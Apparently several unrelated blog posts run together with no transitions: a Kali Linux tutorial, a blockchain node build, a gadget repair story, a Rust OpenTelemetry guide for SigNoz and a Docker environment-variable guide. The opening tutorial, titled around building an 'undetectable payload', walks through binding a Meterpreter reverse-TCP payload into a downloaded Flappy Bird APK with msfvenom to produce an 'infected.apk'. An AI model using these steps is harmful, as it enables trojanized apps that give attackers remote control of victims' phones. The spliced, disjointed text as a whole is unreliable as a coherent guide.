Without further a do , lets get started, I am considering that you have downloaded the Kali Linux WSL from Microsoft Store, and once downloaded, open Command Prompt and run the following command.

wsl --install

Step 1. Updating Kali​

Once the bad boy is up, run the following commands

sudo apt update -y
sudo apt upgrade -y

Step 2. Installing Kali Linux​

sudo apt install -y metasploit-framework

to verify if metasploit has been installed or not, just write msfvenom --help, if you are getting some output, then it means its installed.

Step 3. Installing dependencies for building undetectable payload​

wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
chmod +x apktool

Once downloaded the required binaries, run the following commands

sudo mv apktool /usr/local/bin/

sudo mv apktool_2.9.3.jar /usr/local/bin/apktool.jar

Step 4. Installing apktool & apksigner​

Paste the following command

which apktool

Copy the path which you will get in output, I got this /usr/local/bin/apktool, so i will be pasting this in bashrc file

export PATH=$PATH:/usr/local/bin/apktool

Open ~/.bashrc file using

nano ~/.bashrc

paste this at top

export PATH=$PATH:/usr/local/bin/apktool

close & save the file using Ctrl + X and press Y .

to verify if apktool has been installed or not, write this command

apktool --version

Now we have apktool installed, next step is to install apksigner, you can easily do it by running the following commands.

sudo apt update
sudo apt-get install apksigner

give execution rights to apksigner binary using

chmod +x /usr/bin/apksigner

check if it is installed successfully by running the following command.

apksigner --version

Step 5: Installing zipalign​

Download the binary using wget

wget http://ftp.de.debian.org/debian/pool/main/a/android-platform-build/zipalign_8.1.0+r23-2_amd64.deb

once downloaded, run the following command to install zipalign

dpkg -i zipalign_8.1.0+r23-2_amd64.deb

check if it is installed correctly or not by running

zipalign --version

Step 6. Creating infected payload​

I am leaving a flappy bird payload here, you can use any other app as well, just download the apk for that and follow the same procedure as below.

wget https://tech-odyssey.netlify.app/files/app.apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 -x app.apk -k -o infected.apk

CLI Installation​

Follow the following steps to install VAempire CLI tool

Installing Dependencies​

1. Update & Install dependencies

sudo apt-get update
sudo apt-get install libssl-dev libudev-dev pkg-config zlib1g-dev llvm clang make cmake protobuf-compiler

2. Install Rust

curl https://sh.rustup.rs -sSf | sh
source $HOME/.cargo/env
rustup component add rustfmt

rustup update

Installing VAempire CLI​

1. Clone the repository

git clone https://github.com/VAempire-Network/vaempire-chain

2. Change directory

cd vaempire-network

3. Build binaries

./scripts/cargo-install-all.sh .

after successful installation, all the binaries will be available in /vaempire-network/target/release/

Genesis Generation​

Before starting a boot node validator, we need to generate a genesis, and for that we need to setup the keypairs first.

1. Generate bootstrap validator keypair

nexis-keygen new -o ~/bootstrap-validator-keypair.json

2. Generate bootstrap vote keypair

nexis-keygen new -o ~/bootstrap-vote-keypair.json

3. Generate bootstrap stake keypair

nexis-keygen new -o ~/bootstrap-stake-keypair.json

4. Generate genesis

vaempire-genesis \
        --enable-warmup-epochs \
        --bootstrap-validator ~/bootstrap-validator-keypair.json ~/bootstrap-vote-keypair.json ~/bootstrap-stake-keypair.json \
        --bootstrap-validator-lamports 5000000000000000 \
        --bootstrap-validator-stake-lamports 50000000000000 \
        --faucet-lamports 1000000000000000000 \
        --faucet-pubkey ~/faucet-keypair.json \
        --ledger ~/bootstrap-validator/ledger/ \
        --cluster-type development \
        --vote-commission-percentage 8 \
        --slots-per-epoch 432000 \
        --evm-chain-id <chain_id_here>

And for some obvious reasons I don't wanna die

so I got my screw drivers, unscrewed the bad boy andddddd the circuit was lying completely naked on the floor of my room (not a new thing fosho)

Then I disconnected the battery, which was pretty easy, now the circuit looks like this, I don't have a new battery but I don't think we will need any for testing purpose.

But before all that, gotta clean all the parts

After a short cleaning session, I assembled the circuit back and replaced some ckt elements which were not working, everything is almost done but right now I don't have any source of booting up the circuit, as I already removed the battery but we have the terminals where the battery was attached initially, so I dissected the old USB cable I had, and connected +ve and -ve terminals with the exposed ends of the circuit.

And guess what? It booted...

Now I know that it works but it's not practical to use this with it's back exposed, so I removed the button at top right and passed the cable through it and now I have the USB type input cable which I can connect to any powersource

Once the telemetry data is generated, you can configure an exporter to send the data to SigNoz for monitoring and visualization.

There are three major steps to using OpenTelemetry:

• Instrumenting your Rust application with OpenTelemetry
• Configuring the exporter to send data to SigNoz
• Validating that configuration to ensure that data is being sent as expected.

In this tutorial, we will instrument a Rust application for traces and send it to SigNoz.

Requirements​

Rust

Send traces to SigNoz Cloud​

Based on your application environment, you can choose the setup below to send traces to SigNoz Cloud.

opentelemetry = { version = "0.18.0", features = ["rt-tokio", "metrics", "trace"] }
opentelemetry-otlp = { version = "0.11.0", features = ["trace", "metrics"] }
opentelemetry-semantic-conventions = { version = "0.10.0" }
opentelemetry-proto = { version = "0.1.0"}
tokio = { version = "1", features = ["full"] }
tonic = { version = "0.8.2", features = ["tls-roots"] }

use opentelemetry::global::shutdown_tracer_provider;
use opentelemetry::sdk::Resource;
use opentelemetry::trace::TraceError;
use opentelemetry::{
    global, sdk::trace as sdktrace,
    trace::{TraceContextExt, Tracer},
    Context, Key, KeyValue,
};
use opentelemetry_otlp::WithExportConfig;
use tonic::metadata::{MetadataMap, MetadataValue};

fn init_tracer() -> Result<sdktrace::Tracer, TraceError> {
    let signoz_access_token = std::env::var("SIGNOZ_ACCESS_TOKEN").expect("SIGNOZ_ACCESS_TOKEN not set");
    let mut metadata = MetadataMap::new();
    metadata.insert(
        "signoz-access-token",
        MetadataValue::from_str(&signoz_access_token).unwrap(),
    );
    opentelemetry_otlp::new_pipeline()
        .tracing()
        .with_exporter(
            opentelemetry_otlp::new_exporter()
                .tonic()
                .with_metadata(metadata)
                .with_endpoint(std::env::var("SIGNOZ_ENDPOINT").expect("SIGNOZ_ENDPOINT not set")),
        )
        .with_trace_config(
            sdktrace::config().with_resource(Resource::new(vec![
                KeyValue::new(
                    opentelemetry_semantic_conventions::resource::SERVICE_NAME,
                    std::env::var("APP_NAME").expect("APP_NAME not set"),
                ),
            ])),
        )
        .install_batch(opentelemetry::runtime::Tokio)
}

project_root/
|-- Cargo.toml
|-- src/
|   |-- main.rs
|-- .env

PORT=3000
APP_NAME=rust-sample
SIGNOZ_ENDPOINT=https://ingest.[region].signoz.cloud:443/v1/traces
SIGNOZ_ACCESS_TOKEN=XXXXXXXXXX

dotenv = "0.15.0"

use dotenv::dotenv;

    dotenv().ok();
    let _ = init_tracer();

fn main(){
    //rest of the code
}

#[tokio::main]
async fn main() {
    //rest of the code
}

  let tracer = global::tracer("global_tracer");
    let _cx = Context::new();
  
    tracer.in_span("operation", |cx| {
        let span = cx.span();
        span.set_attribute(Key::new("KEY").string("value"));

        span.add_event(
            format!("Operations"),
            vec![
                Key::new("SigNoz is").string("Awesome"),
            ],
        );
    });
    shutdown_tracer_provider()

opentelemetry = { version = "0.18.0", features = ["rt-tokio", "metrics", "trace"] }
opentelemetry-otlp = { version = "0.11.0", features = ["trace", "metrics"] }
opentelemetry-semantic-conventions = { version = "0.10.0" }
opentelemetry-proto = { version = "0.1.0"}
tokio = { version = "1", features = ["full"] }
tonic = { version = "0.8.2", features = ["tls-roots"] }

use opentelemetry::global::shutdown_tracer_provider;
use opentelemetry::sdk::Resource;
use opentelemetry::trace::TraceError;
use opentelemetry::{
    global, sdk::trace as sdktrace,
    trace::{TraceContextExt, Tracer},
    Context, Key, KeyValue,
};
use opentelemetry_otlp::WithExportConfig;
use tonic::metadata::{MetadataMap, MetadataValue};

fn init_tracer() -> Result<sdktrace::Tracer, TraceError> {
    opentelemetry_otlp::new_pipeline()
        .tracing()
        .with_exporter(opentelemetry_otlp::new_exporter().tonic().with_env())
        .with_trace_config(
            sdktrace::config().with_resource(Resource::default()),
        )
        .install_batch(opentelemetry::runtime::Tokio)
}

    let _ = init_tracer();

fn main(){
    //rest of the code
}

#[tokio::main]
async fn main() {
    //rest of the code
}

  let tracer = global::tracer("global_tracer");
    let _cx = Context::new();
  
    tracer.in_span("operation", |cx| {
        let span = cx.span();
        span.set_attribute(Key::new("KEY").string("value"));

        span.add_event(
            format!("Operations"),
            vec![
                Key::new("SigNoz is").string("Awesome"),
            ],
        );
    });
    shutdown_tracer_provider()

OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 OTEL_RESOURCE_ATTRIBUTES=service.name=sample-rust-app cargo run

opentelemetry = { version = "0.18.0", features = ["rt-tokio", "metrics", "trace"] }
opentelemetry-otlp = { version = "0.11.0", features = ["trace", "metrics"] }
opentelemetry-semantic-conventions = { version = "0.10.0" }
opentelemetry-proto = { version = "0.1.0"}
tokio = { version = "1", features = ["full"] }
tonic = { version = "0.8.2", features = ["tls-roots"] }

use opentelemetry::global::shutdown_tracer_provider;
use opentelemetry::sdk::Resource;
use opentelemetry::trace::TraceError;
use opentelemetry::{
    global, sdk::trace as sdktrace,
    trace::{TraceContextExt, Tracer},
    Context, Key, KeyValue,
};
use opentelemetry_otlp::WithExportConfig;
use tonic::metadata::{MetadataMap, MetadataValue};

fn init_tracer() -> Result<sdktrace::Tracer, TraceError> {
    opentelemetry_otlp::new_pipeline()
        .tracing()
        .with_exporter(opentelemetry_otlp::new_exporter().tonic().with_env())
        .with_trace_config(
            sdktrace::config().with_resource(Resource::default()),
        )
        .install_batch(opentelemetry::runtime::Tokio)
}

    let _ = init_tracer();

fn main(){
    //rest of the code
}

#[tokio::main]
async fn main() {
    //rest of the code
}

  let tracer = global::tracer("global_tracer");
    let _cx = Context::new();
  
    tracer.in_span("operation", |cx| {
        let span = cx.span();
        span.set_attribute(Key::new("KEY").string("value"));

        span.add_event(
            format!("Operations"),
            vec![
                Key::new("SigNoz is").string("Awesome"),
            ],
        );
    });
    shutdown_tracer_provider()

OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317 OTEL_RESOURCE_ATTRIBUTES=service.name=sample-rust-app cargo run

Example Walkthrough​

Clone the sample rust application by running the following command:

git clone https://github.com/anukulpandey/sample-rust-otel
cd sample-rust-otel
cp .env.sample .env

Change the environment variables , most important are Ingestion Key and Ingestion Url in .env file.

To start the application run the following command cargo run, it will display this in terminal

Now go to http://localhost:3000 and you will see this.

By now Rust application must have sent some data to SigNoz but let's explore this sample app more , click on the button and it will generate some random no.

Now go to SigNoz cloud and login. You must be able to see something like this

Instead of rust-sample you might be seeing another name if you changed it in .env file. Click on this , Now you will see a dashboard like this , see at bottom right on Key Operations, click on any of the operation

You will see something like below

You can play around with these, and after clicking on any of the operation you will see a more detailed representation. For example , this the random no. I generated , and the route I visited etc.

Conclusion​

This tutorial demonstrates how you can instrument your rust application and monitor traces in SigNoz, for advanced telemetry you can refer to the official docs by Opentelemetry.

Passing environment variables at runtime allows for greater flexibility and customization of container behavior without the need to modify the Docker image. This flexibility is particularly useful when deploying the same image in different environments or when making quick adjustments to configurations.

Sensitive information, such as API keys or database credentials, is often stored in environment variables. Passing these variables at runtime enhances security by avoiding the inclusion of sensitive data in the Docker image. This approach helps protect sensitive information and prevents accidental exposure.

Prerequisites​

Before we begin, ensure that you have Docker desktop installed on your system.

Creating a Basic Docker Image​

Let's start by creating a basic Docker image that echoes "hello world" to the terminal. We'll use an environment variable named NAME to customize the output.

Create a file named Dockerfile with the following content:

FROM alpine
ENV NAME=world
CMD ["/bin/sh", "-c", "echo hello $NAME"]

This Dockerfile sets the NAME environment variable to "world" and prints "hello" followed by the value of NAME when the container runs.

Build the Docker image with the following command:

docker build -t hello-world .

Now, run the Docker container:

docker run hello-world

You should see the output:

hello world

Suppose now if you want to change the output form hello world to something else like hello anukul , you don't have to build the image again and then run container, you can simply

Pass the env flag to change env variable on runtime

docker run --env NAME=anukul hello-world

You should see the output:

hello anukul

Conclusion​

In this guide, we've covered a basic example of passing environment variables to Docker containers. This simple approach allows you to customize the behavior of your containers based on the values of environment variables.

Here, I share concise tech insights focused on software development, blockchain, and cybersecurity. Join me in exploring these exciting realms.

Connect with me on GitHub.

Happy Reading!